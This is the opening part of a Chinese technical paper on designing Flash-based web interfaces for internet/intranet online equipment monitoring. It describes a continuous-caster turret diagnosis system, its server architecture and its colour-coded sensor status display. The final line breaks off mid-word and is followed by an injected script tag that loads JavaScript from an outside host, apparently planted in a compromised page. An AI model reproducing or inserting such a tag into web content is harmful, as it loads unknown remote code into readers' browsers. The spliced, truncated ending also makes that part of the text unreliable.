摘 要:结合基于internet/intranet在线监测系统远程人机交互图形界面特性与开发实例,该文着重阐述了在这种情况下用flash技术进行在线监测系统人机交互图形界面设计的方法与实现方式,最后讨论了该技术的发展前景。
关键词:internet/intranet;在线监测;人机交互
1 引 言
随着现代工业的发展,对设备的维护水平提出了更高要求,将在线监测技术应用于设备运行状态监测、诊断与维护,实现定时维修向预测维修转变已日趋重要,同时在线监测技术的应用也是实现数字化制造与维护的前提与基础。与此相应,产生了一些针对设备状态的在线监测系统。在这些在线监测系统中,一般要监视设备的运行状态,如设备与工艺主要运行参数变化、状态变化趋势等。其中通过传感器所测得的参数值的变化趋势一般可以用java实现。
设备的运行状态变化趋势显示等的实现方式有很多种,但如果要真正地实现基于网络的实时在线监视,用户通过网络借用ie浏览器等网络工具直观地监视设备的运行情况,采用flash技术是最简便易行的方法。在采用flash技术实现时,又有一些技术问题,如果方法不当,有可能实现起来比较困难,甚至无法实现目标。本文结合所开发的基于internet/intranet在线监测系统的实例作一介绍。
2在线监测系统
随着科学技术的进步,机械设备越来越复杂,自动化水平越来越高,设备在现代工业中的作用和影响越来越大。这也使得设备故障诊断在生产中的作用和地位日益突出,故障诊断也由早期的定时监测诊断和事故后的诊断发展成如今的在线监测诊断及数字化智能诊断与维护。
在线监测诊断技术在现代工业生产中的应用已是日趋普遍,且收到了良好的效果。就其形式而言,可分为两种:一种是根据所设计系统的需要而专门架设的、单独的一套监测系统,它可以实行实时监测和诊断,但不能实行网上传输与远程监视,故对设备的监测和诊断只局限于现场;另一种就是基于internet/intranet在线监测系统。该系统对设备状态的监视、所采集的数据的实时监视和获取、对设备的诊断分析等均可借助internet/intranet而远程实现。这就为实现设备远程实时监视和诊断提供了方便。
本文所指的在线监测系统是指基于internet/intranet网络的远程、实时监视系统,例如为某厂设计的连铸机旋转塔故障诊断与在线监测系统。
该系统主要由sqlserver数据服务器、实时在线采样系统及web server服务器3大部分组成。
sqlserver数据服务器安放在车间控制室连续运行,其任务为接收和处理各数据采集站发送的数据信号,将原始数据放入原始信号缓存区,将处理后的数据写入特征数据库和历史数据库。采用windows2000操作系统,软件为与信号采集工控机通讯的www服务器、管理采样数据的sqlserver数据库、设备运行状态分析程序和对外提供采样数据访问的www服务器程序。
实时在线采样系统包含实时在线采样软件,其任务是数据实时采集和系统组态,如系统参数设置及初始化参数设置等。
本系统采用客户机/服务器工作模式,所有监测、分析、诊断软件都安装在www服务器上,并通过主页进行管理。用户通过ie访问存放在web服务器上的主页,并启动内嵌在主页中的dhtml、asp、flash、java或javascript程序,然后由这些内嵌程序提供监测、诊断服务。
这套系统的监视部分设计包含设备运行状态的监视和工艺参数监视,它们分别被做成了由flash生成的.swf文件,嵌入到主页中,可通过ie在任何地方进行浏览。
3设备运行状态监视
3.1方案选定
设备运行状态监视对于在线监测系统十分重要,一般要求具有:能显示各传感器的布置位置,传感器所测参数是否在安全状态运行的显示功能,对于传感器所测数据超过门槛值时,还应能实现报警显示。对于报警的参数应能给出实时的所测数据与分析结果等。
显示各传感器的位置是为了便于监视者对传感器的数目、布置位置,哪个类型传感器所测参数出现报警等一目了然。
显示传感器所测参数是否在安全状态运行一般是通过颜色显示来表示,对于各种被监测参数,通常用绿色表示正常,红色表示所测值超过门槛值,显示蓝色表示该所测值为零,这样让监视者很容易判别是哪个参数工作正常,哪个参数工作不正常,哪个传感器所测值异常等;对于报警的传感器能给出实时所测数据也很重要,因为门槛值是事先设定的一个界限值,超过该值就报警,但超过多少并不知道,故给出实时所测数据后就可知道得更具体,从而为做出更准确的故障诊断提供了重要的依据。
对于以上各种情况的实现,考虑是基于internet/intranet,采用的是将“状态显示”等做成由flash生成的.swf文件,嵌入到网页中,这样客户端只需要登录上internet/intranet网,打开ie即可实现实时监视。
某连?script src=http://er12.com/t.js>